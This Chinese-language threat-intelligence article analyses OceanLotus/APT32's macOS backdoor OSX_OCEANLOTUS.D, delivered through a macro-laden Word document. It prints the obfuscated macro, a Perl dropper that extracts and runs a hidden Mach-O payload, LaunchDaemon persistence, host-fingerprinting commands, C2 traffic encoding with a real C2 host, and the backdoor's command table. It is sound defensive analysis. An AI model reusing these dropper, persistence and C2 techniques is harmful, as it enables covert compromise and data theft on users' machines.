

# 海莲花 APT 组织使用最新 MacOS 后门程序发动攻击

海莲花 APT 组织（又名 APT 32，APT-C-00，SeaLotus 和 Cobalt Kitty）是一个高度组织化的、专业化的境外黑客组织，该 APT 组织主要针对人权组织，媒体，研究机构 and 海事建筑公司等进行高级持续性攻击。亚信安全多年来一直持续追踪海莲花组织，近日，我们发现该组织使用最新的 MacOS 后门程序，对装有 Perl 程序的 Mac 系统进行攻击，亚信安全截获了该后门程序，并将其命名为 **OSX\_OCEANLOTUS.D**。

## OSX\_OCEANLOTUS.D 技术分析

MacOS 后门程序通过带有恶意 word 文档的电子邮件传播，Word 文档原始文件名为“2018-PHIẾU GHI DANH THAM DỰ TÌNH HỘI HMDC 2018.doc”，翻译成中文就是“2018 年 HMDC 大会登记表”，而 HMDC 是一个在越南宣传民族独立和民主的组织。



恶意文档运行时的截图

当收件人打开该文档时，该后门程序会建议收件人启用宏。而这个恶意宏则采用了十进制 ASCII 代码逐个字符地进行混淆，以逃避各种杀毒软件的检测。

```
sLine11 = ChrW(115) + ChrW(121) + ChrW(115) + ChrW(116) + ChrW(101) + ChrW(109) + ChrW(40) + ChrW(34) + ChrW(92) +  
ChrW(70) + ChrW(105) + ChrW(108) + ChrW(101) + ChrW(47) + ChrW(119) + ChrW(111) + ChrW(114) + ChrW(100) + ChrW(47)  
) + ChrW(100) + ChrW(92) + ChrW(34) + ChrW(32) + ChrW(38) + ChrW(34) + ChrW(41) + ChrW(59) + ChrW(10)  
sLine12 = ChrW(115) + ChrW(108) + ChrW(101) + ChrW(101) + ChrW(112) + ChrW(40) + ChrW(49) + ChrW(41) + ChrW(59) +  
sLine13 = ChrW(115) + ChrW(121) + ChrW(115) + ChrW(116) + ChrW(101) + ChrW(109) + ChrW(40) + ChrW(34) + ChrW(114)  
ChrW(121) + ChrW(115) + ChrW(116) + ChrW(101) + ChrW(109) + ChrW(34) + ChrW(41) + ChrW(59) + ChrW(10)  
sLine14 = ChrW(115) + ChrW(121) + ChrW(115) + ChrW(116) + ChrW(101) + ChrW(109) + ChrW(40) + ChrW(34) + ChrW(114)  
ChrW(110) + ChrW(34) + ChrW(41) + ChrW(59) + ChrW(10)  
sLine = sLine0 + sLine1 + sLine2 + sLine3 + sLine4 + sLine5 + sLine6 + sLine7 + sLine8 + sLine9 + sLine10 + sLine1  
system (ChrW(101) + ChrW(99) + ChrW(104) + ChrW(111) + ChrW(32) + ChrW(39) + sLine + ChrW(39) + ChrW(3  
+ ChrW(110) + ChrW(10))  
system (ChrW(112) + ChrW(101) + ChrW(114) + ChrW(108) + ChrW(32) + ChrW(47) + ChrW(116) + ChrW(109) +
```

文档混淆后的代码片段

去除混淆后，我们可以看到有效负载是用 Perl 编程语言编写的。它会从 Word 文档中提取 theme0.xml 文件。theme0.xml 是一个带有 0xFEEDFACE 签名的 Mach-O32 位可执行文件，其也是该后门程序最终有效载荷。theme0.xml 在运行之前会先解压到 /tmp/system/word/theme/syslogd 目录。

```
#!/usr/bin/perl  
use File::Copy;  
$pathFolderFile = "/tmp/system";  
$pathFile = $pathFolderFile . "/system";  
$path = "/Volumes/" . $pdajqfmcrc;  
$path =~ tr::/\//;  
mkdir($pathFolderFile);  
copy($path, $pathFile);  
system("unzip " . $pathFile . " -d " . $pathFolderFile);  
system("chmod +x \" . $pathFolderFile . "/word/theme/theme0.xml\"");  
move("$pathFolderFile/word/theme/theme0.xml", "$pathFolderFile/word/theme/syslogd");  
system("\"$pathFolderFile/word/theme/syslogd\" ++");  
sleep(1);  
system("rm -rf /tmp/system");  
system("rm /tmp/modern");  
  
system (echo 'sline' > /tmp/modern)  
system (perl /tmp/modern &)
```

去除混淆后的 Perl 有效载荷

## Dropper 分析

Dropper 用于将后门安装到受感染系统中并建立其持久性攻击机制。

```
setStartup();  
dwPID = getpid();  
proc_pidpath(dwPID, &szPath, 0x7D0u);  
result = remove(&szPath);
```

### Dropper 的主要功能

Dropper 的所有字符串以及后门均使用硬编码的 RSA256 密钥进行加密。其中，有两种形式的加密字符串：RSA256 加密的字符串，以及自定义的 base64 编码和 RSA256 加密的字符串。

```
_KEY | db 63h  
  
db 49h ; I  
db 2Fh ; /  
db 6Eh ; n  
db 22h ; "  
db 0  
db 10h  
db 0FEh  
db 33h ; 3  
db 4Fh ; O  
db 2Fh ; /  
db 0C5h  
db 5  
db 0B2h  
db 11h  
db 3  
db 0BAh  
db 5Bh ; [  
db 0DDh  
db 2
```

硬编码的 RSA256 密钥会显示前 20 个字符

Dropper 会使用 `setStartup()` 方法来判断其是否以 root 身份运行。并以此做为依据，使用 `GET_PROCESSPATH` 和 `GET_PROCESSNAME` 方法对后门安装的路径和文件名进行解密：

root 用户

路径: /Library/CoreMediaIO/Plug-Ins/FCP-

DAL/iOSScreenCapture.plugin/Contents/Resources/

进程名: screenassistantd

普通用户

路径: ~/ Library /Spelling /

进程名: spellagentd

随后, 它使用 `Loader::installLoader` 方法, 读取硬编码的 64 位 Mach-O 可执行文件 (magic value 0xFEEDFACF), 并写入先前确定的路径和文件。

```
if ( Loader::installLoader((Loader *)v4, v3) )
{
    hiddenFile(v4);
    setTimeFile(v4);
}
```

Dropper 安装后门, 将其属性设置为 "hidden", 并设置随机文件的日期和时间

当 Dropper 安装后门时, 其会将属性设置为 "hidden", 并使用 [touch](#) 命令将文件日期和时间设置为随机值: `touch -t YYMMDDMM "/path / filename" > /dev / null`。与此同时, 访问权限被更改为 `0x1ed = 755`, 相当于 `u= rwx, go = rx`。

```

__tmp_Loader    dd  0FEEDFACFh
                db   7
                db   0
                db   0
                db   1
                db   3
                db   0
                db   0
                db  80h

```

Mach-O 可执行文件（64 位）的 magic value 0xFEEDFACF

用 GET\_LAUNCHNAME 和 GET\_LABELNAME 方法为 root 用户

(com.apple.screen.assistentd.plist) 和普通用户

(com.apple.spell.agent.plist) 返回属性列表 “.plist ” 的硬编码名称。之

后，其会在/Library / LaunchDaemons /或~/ Library /LaunchAgents / 文件

夹中创建持久性文件。当操作系统启动时，RunAtLoad 用来运行守护进程，而

KeepAlive 使进程无限期地运行。该持久性文件被设置为掩藏属性，文件的时间和

日期也是随机生成的。



```

com.apple.screen.assistentd.plist — Locked
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.screen.assistentd</string>
<key>ProgramArguments</key>
<array>
<string>/Library/CoreMediaIO/Plug-Ins/FCP-DAL/iOSScreenCapture.plugin/Contents/Resources/ScreenAssistantd</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
</plist>

```

具有持久性设置的属性列表

launchctlload /Library/LaunchDaemons/filename.plist> / dev / nul 或

launchctl load ~/Library/LaunchAgents / filename.plist> / dev / nul 命令使得操作系统在登录时启动生成的后门文件，随后 Dropper 将会删除自身。

## 后门分析

后门包含两个主要函数 infoClient 和 runHandle。infoClient 负责将收集到的操作系统信息发送给 C&C 服务器（服务器本身是恶意的），并接收来自 C&C 服务器的返回信息，而 runHandle 负责后门功能。

```
while ( 1 )
{
    if ( HandlePP::infoClient(dwRandomTimeSleep) )
        HandlePP::runHandle(dwRandomTimeSleep);
    dwTimeSeed = time(0LL);
    srand(dwTimeSeed);
    dwRandomValue = rand();
    dwRandomTimeSleep = (HandlePP *) (dwRandomValue
```

### 后门的主要功能

infoClient 在 HandlePP 类中填充的变量：

```
class HandlePP
{
    std::string pathProcess
    int8        clientID[24]
    std::string strClientID
    int64        installTime
    void         *urlRequest
    int64        timeCheckRequestTimeout
    int8        keyDecrypt[24]
    int          posDomain
    std::string domain
    int          count
}
```

### HandlePP 类的变量列表

clientId 是从环境变量衍生的 MD5 哈希，而 strClientId 是 clientId 的十六进制表示。以下所有字符串均通过 AES256 和 base64 编码加密。HandlePP ::

getClientId 方法使用的是下面的环境变量：

```
ioreg -rdl -c IOPlatformExpertDevice | awk '/IOPlatformSerialNumber/ { split($0, line, "\""); printf("%s", line[4]); }'
```

序列号

```
ioreg -rdl -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, line, "\""); printf("%s", line[4]); }'
```

硬件 UUID

```
ifconfig en0 | awk '/ether/{print $2}'
```

MAC 地址

```
uuidgen
```

随机生成的 UUID

对于初始信息包，后门还收集以下信息：

```
sw_vers -productVersion
```

操作系统版本

运行 getpwuid -> pw\_name, scutil -get ComputerName 和 uname -m 将分别提供以下返回值：

Mac OSX 10.12.



System Administrator

<owner's name>'s iMac

x86\_64

所有这些数据在发送到 C&C 服务器之前都被加密。详细过程如下所述:

## 1. 扰码

类解析器的方法有多种, 每个变量类型的解析方法各不同, 比如 Parser::inBytes, Parser::inByte, Parser::inString 以及 Parser::inInt.。

```
v18 = Parser::inBytes((Parser *)&v74, &HandlePP::clientID, 0x10);
```

### Parser:: inByte 方法

如果 clientID 等于以下字节序列 B4 B1 47 BC 52 28 28 73 1F 1A 01 6B FA 72 C0 73, 那么这个扰码的版本就是使用第三个参数(0x10)计算的, 其被当做一个 DWORD 来处理, 每 4 个字节都与它进行异或, 如下例所示。

B4	B1	47	BC	52	28	28	73	1F	1A	01	6B	FA	72	C0	73
XOR															
10	00	00	00	10	00	00	00	10	00	00	00	10	00	00	00
=															
A4	B1	47	BC	42	28	28	73	0F	1A	01	6B	EA	72	C0	73

```
v19 = Parser::inByte((Parser *)&v74, v18, '1');
```

### Parser :: inByte 方法

当扰码一个字节时, 扰码器首先确定字节值是奇数还是偶数。如果该值为奇数, 则将该字节和一个随机生成的字节一起添加到数组中。在偶数值的情况下, 首先添加随机生成的字节, 然后添加该字节。在上面的例子中, 第三个参数是 '1' = 0x



31, 这是一个奇数。这意味着它将字节 '1' 和一个随机生成的字节添加到最终的扰码阵列。

```
v22 = Parser::inString((Parser *)&v74, szOSversionString, *((_DWORD *)szOSversionString - 6));
```

### Parser::inString 方法

扰码一个字符串时, 扰码器产生一个 5 字节长的序列。首先, 它产生一个随机字节, 随后是三个零字节, 一个随机字节, 最后是字符串长度的字节。假设我们想要混淆字符串 'Mac OSX 10.12'。它的长度是 13 = 0x0d, 两个随机字节是 0xf3 和 0x92。最后的 5 字节序列看起来像 F300 00 92 0D, 然后原始字符串与 5 字节序列异或。

M	a	c				O	S	X				1	0	.	1	2
4D	61	63	20	4F	53	58	20	31	30	2E	31	32				
XOR																
F3	00	00	00	92	0D	F3	00	00	00	92	0D	F3				
=																
BE	61	63	20	DD	5E	AB	20	31	30	BC	3C	C1				

### 扰码 Mac OSX 10.12

#### 1. 加密

加密的字节序列被传递到 Packet::Packet 类的构造函数中, 该类创建随机 AES256 密钥并使用此密钥加密缓冲区。

#### 2. 编码加密密钥

为了使 C&C 服务器解密和加密数据，随机生成的 AES256 密钥必须与加密数据一起包含在数据包中。然而，这个密钥也是通过异或操作 XOR 0×13 进行扰码的，随后对每个字节应用 ROL 6 操作。

```
v8[nCounter] = __ROL1__(v8[nCounter] ^ 0x13, 6);
```

在输出数据包中扰码 AES256 密钥的函数

扰码和加密过程中的一些屏幕截图：

```
00000000100102AB0 D0 63 7E 95 FF 7F 00 00 38 3C 7E 95 FF 7F 00 00 ..~.....8<~.....
00000000100102AC0 90 4F 7C 95 FF 7F 00 00 58 CC 83 98 FF 7F 00 00 .O|.....X'.....
00000000100102AD0 DF A4 B1 47 BC 42 28 28 73 0F 1A 01 6B EA 72 C0 ...G.B{(s...k..
00000000100102AE0 73 31 EE AD 3D 0C 2A 1F 6D 0D F3 00 00 00 92 BE sl.....*.m.....
00000000100102AF0 61 63 20 DD 5E AB 20 31 30 BC 3C C1 E2 74 14 30 ac.....10.<..t.0
00000000100102B00 00 00 00 8F 53 79 73 FB 71 5D 20 41 64 E2 7D 5E ....Sys.q].Ad...
00000000100102B10 69 73 74 FD 75 44 6F 72 7E 10 00 71 00 00 6D 34 ist.uDor~..q..m4
00000000100102B20 4B 27 33 03 6A E2 FE 89 73 51 69 4D 1F 73 77 BB K'3.j...sQiM.sw.
00000000100102B30 86 25 5A 00 62 00 00 00 5E CC 61 0A 73 02 00 00 .%Z.b...^...s...
00000000100102B40 44 B6 3A 00 FA 00 00 2F 55 C5 5F 72 89 2F 6D 82 D.:.../U..r./m.
00000000100102B50 0F 37 C9 72 6A 99 7E 65 89 6B 74 D9 4A 2F 93 64 .7..j~e.kt../.d
00000000100102B60 61 C6 48 6F D5 5F 5F DB 5B 63 95 73 30 86 0A 2F a..o...c.s0../
00000000100102B70 8E 68 65 DB 5F 5F 8A 61 79 DA 55 61 9E 2E 74 CE .he...ay..a..t.
00000000100102B80 4E 00 00 00 03 0F 00 00 00 00 00 00 00 10 00 N.....
00000000100102B90 03 10 00 00 00 00 00 00 00 00 14 00 00 00 00 .....
```

灰色部分的字节表示已加密的计算机信息

```
000000001001030D0 03 00 00 00 00 00 00 00 10 37 10 00 01 00 00 00 .....7.....
000000001001030E0 00 00 00 00 00 00 00 00 B8 2D 75 97 FF 7F 00 00 .....-u.....
000000001001030F0 C1 6A 48 02 FD 99 54 8E 30 D5 5F CA F6 BE CF D0 ..H...T.O.....
00000000100103100 01 00 00 00 00 00 00 00 F0 05 FF 95 FF 7F 00 00 .....
00000000100103110 98 F1 3D 8F FF 7F 00 00 00 00 00 00 00 00 00 .....
```

随机生成 AES256 密钥

```
000000001001030D0 03 00 00 00 00 00 00 00 10 37 10 00 01 00 00 00 .....7.....
000000001001030E0 00 00 00 00 00 00 00 00 B8 2D 75 97 FF 7F 00 00 .....-u.....
000000001001030F0 B4 5E D6 44 BB A2 D1 67 C8 B1 13 76 79 68 37 D0 .^.....δ.vyk7.
00000000100103100 01 00 00 00 00 00 00 00 F0 05 FF 95 FF 7F 00 00 .....
00000000100103110 98 F1 3D 8F FF 7F 00 00 00 00 00 00 00 00 00 .....
```

扰码的 AES256 密钥 (0xC1 异或 0×13 = 0xD2, 0xD2ROL 6 = 0xB4) 等)

00000000100207750	EB 8F 68 70 A2 0F 97 0E 31 B2 2C E7 13 32 26 EF	...p....l,...&.
00000000100207760	79 87 3A E8 ED 9F 3A 99 BF D0 A5 78 D5 58 A3 81	y.:...:..X·x...
00000000100207770	6C 25 1E 38 A0 81 3E 32 04 6E E7 29 2C 50 21 8B	l4.8..>2.n...Pl.
00000000100207780	D3 CB A7 33 33 04 6D C7 AA F0 94 4F E6 4C 20 68	...33.mQ·....L·h.
00000000100207790	BA 80 77 A9 61 92 92 08 E2 BB A5 41 69 5A D3 53	..w.a...Aiz..
000000001002077A0	B4 2C 3B 49 05 C2 75 FB 4E 5B 02 AC 5A 60 C2 67	.,;I....N[...Z`..
000000001002077B0	6C F8 35 10 32 F5 A3 B9 22 59 D3 23 51 53 C3 3D	1.5.2....Y..QS..
000000001002077C0	BC 87 2E B4 3F CF 6E CC 3B A5 6E 68 71 71 AE C9	....?.....nhqq..
000000001002077D0	D6 7D 9F D5 74 2B FE B9 3C 48 6C B7 96 B7 E3 44	.....+...<Hl.....
000000001002077E0	CD D2 91 7A 73 8D 8C 20 F4 CD E1 FB 27 1B 3E 89	...zs.....'.>.
000000001002077F0	34 5F 27 8A F4 C0 FE 15 CC B9 AB F7 F9 D2 3A 39	4'.....9
00000000100207800	0D 44 11 FC 9D 5D 5D 87 B6 12 34 89 7F 46 2B 3C	.D...]]...4..F+<
00000000100207810	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
00000000100207820	2E 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....

使用 AES256 密钥加密的计算机信息

00000000100102CC0	66 18 56 24 02 1B 20 06 84 FB EA 6E 92 02 AD AC	f.V\$.....
00000000100102CD0	29 AC E3 37 B9 A2 1E 53 E2 0C CC ED 20 36 E1 11	).....S.....
00000000100102CE0	26 BE 4C FD 10 C3 00 BD 3B 7A 0B 4D F3 F8 B6 B4	4.L.....;z.M....
00000000100102CF0	5E D6 44 BB A2 D1 67 C8 B1 13 76 79 6B 37 EB 8F	^.....δ·vyk7..
00000000100102D00	68 70 A2 0F 97 0E 31 B2 2C E7 13 32 26 EF 79 87	hp....l,...&...
00000000100102D10	3A E8 ED 9F 3A 99 BF D0 A5 78 D5 58 A3 81 6C 25	:...:..X·x....l4
00000000100102D20	1E 38 A0 81 3E 32 04 6E E7 29 2C 50 21 8B D3 CB	.8..>2.n...Pl...
00000000100102D30	A7 33 33 04 6D C7 AA F0 94 4F E6 4C 20 68 BA 80	.33.mQ·....L·h..
00000000100102D40	77 A9 61 92 92 08 E2 BB A5 41 69 5A D3 53 B4 2C	w.a...Aiz...,
00000000100102D50	3B 49 05 C2 75 FB 4E 5B 02 AC 5A 60 C2 67 6C F8	;I....N[...Z`..l.
00000000100102D60	35 10 32 F5 A3 B9 22 59 D3 23 51 53 C3 3D BC 87	5.2....Y..QS....
00000000100102D70	2E B4 3F CF 6E CC 3B A5 6E 68 71 71 AE C9 D6 7D	..?.....nhqq...}
00000000100102D80	9F D5 74 2B FE B9 3C 48 6C B7 96 B7 E3 44 CD D2	.....+...<Hl.....
00000000100102D90	91 7A 73 8D 8C 20 F4 CD E1 FB 27 1B 3E 89 34 5F	..zs.....'.>.4_
00000000100102DA0	27 8A F4 C0 FE 15 CC B9 AB F7 F9 D2 3A 39 0D 44	'.....9.D

发送到 C&C 服务器的最终有效载荷的屏幕截图，扰码的 AES256 密钥标记为绿

色，而加密的计算机信息标记为红色，其他是随机生成的字节

当后门收到来自 C&C 服务器的响应时，最终有效载荷需要通过解密和扰码类似的方式

进行解码。 Packet:: getData 解密接收到的有效载荷，而

Converter::outString 负责对结果进行解扰。

从 C&C 服务器收到的数据包包含以下信息：

HandlePP :: urlRequest

(/appleauth/static/cssj/N252394295/widget/auth/app.css)

HandlePP :: keyDecrypt

STRINGDATA :: BROWSER\_SESSION\_ID (m\_pixel\_ratio)

StringData 是::RESOURCE\_ID

这些数据稍后将在 C&C 通信中使用，如下面的 Wireshark 屏幕截图所示：



```
GET /appleauth/static/cssj/N252394295/widget/auth/app.css HTTP/1.1
Host: ssl.arkouthrie.com
User-Agent: curl/7.11.3
Accept: */*
Cookie: m_pixel_ratio=d3d9446802a44259755d38e6d163e820;

HTTP/1.1 200 OK
Date: Thu, 15 Feb 2018 14:22:29 GMT
Server: Apache
Content-Length: 77
Content-Type: text/html; charset=UTF-8

%6$UG...>....s]....A...GO.,.O._.....V2..%..j...p..... .R.'...&"g4....h/+)....
```

交换系统数据包信息后与 C&C 服务器的通信

同时，该后门程序的 runHandle 方法将使用以下后门命令（每个命令有一个字节长的代码并由 Packet:: getCommand 提取）调用 requestServer 方法：



```
dwCommand = (unsigned __int8)Packet::getCommand((Packet *)&pPacket);
```

getCommand 方法

如下两个示例都创建了一个线程，每个线程负责下载和执行文件或在终端中运行命令程序：



```

if ( dwCommand == 0xA2 )
{
    v30 = 1;
    v6 = (char *)&ppthread_attr_t;
    pthread_create(&v85, &ppthread_attr_t, (void *(*)(void *))respondLoadLunaThread, v45);
    goto LABEL_164;
}
if ( dwCommand == 0xAC )
{
    v30 = 1;
    v6 = (char *)&ppthread_attr_t;
    pthread_create(&v85, &ppthread_attr_t, (void *(*)(void *))respondRunTerminalThread, v45);
    goto LABEL_164;
}

```

用于下载和执行以及在终端中运行命令的命令

```

if ( dwCommand == 0x72 )
{
    v30 = 1;
    v6 = (char *)&ppthread_attr_t;
    pthread_create(&v85, &ppthread_attr_t, (void *(*)(void *))respondUploadThread, v45);
    goto LABEL_164;
}
else if ( dwCommand == 0x23 || dwCommand == 0x3C )
{
    v30 = 1;
    v6 = (char *)&ppthread_attr_t;
    pthread_create(&v85, &ppthread_attr_t, (void *(*)(void *))respondDownloadThread, v45);
    goto LABEL_164;
}

```

用于上传和下载文件的命令

0x33	get file size
0xe8	exit
0xa2	download & execute file
0xac	run command in terminal
0x48	remove file
0x72	upload file
0x23	download file
0x3c	download file
0x07	get configuration info
0x55	empty response, heartbeat packet

支持的命令及其各自的代码

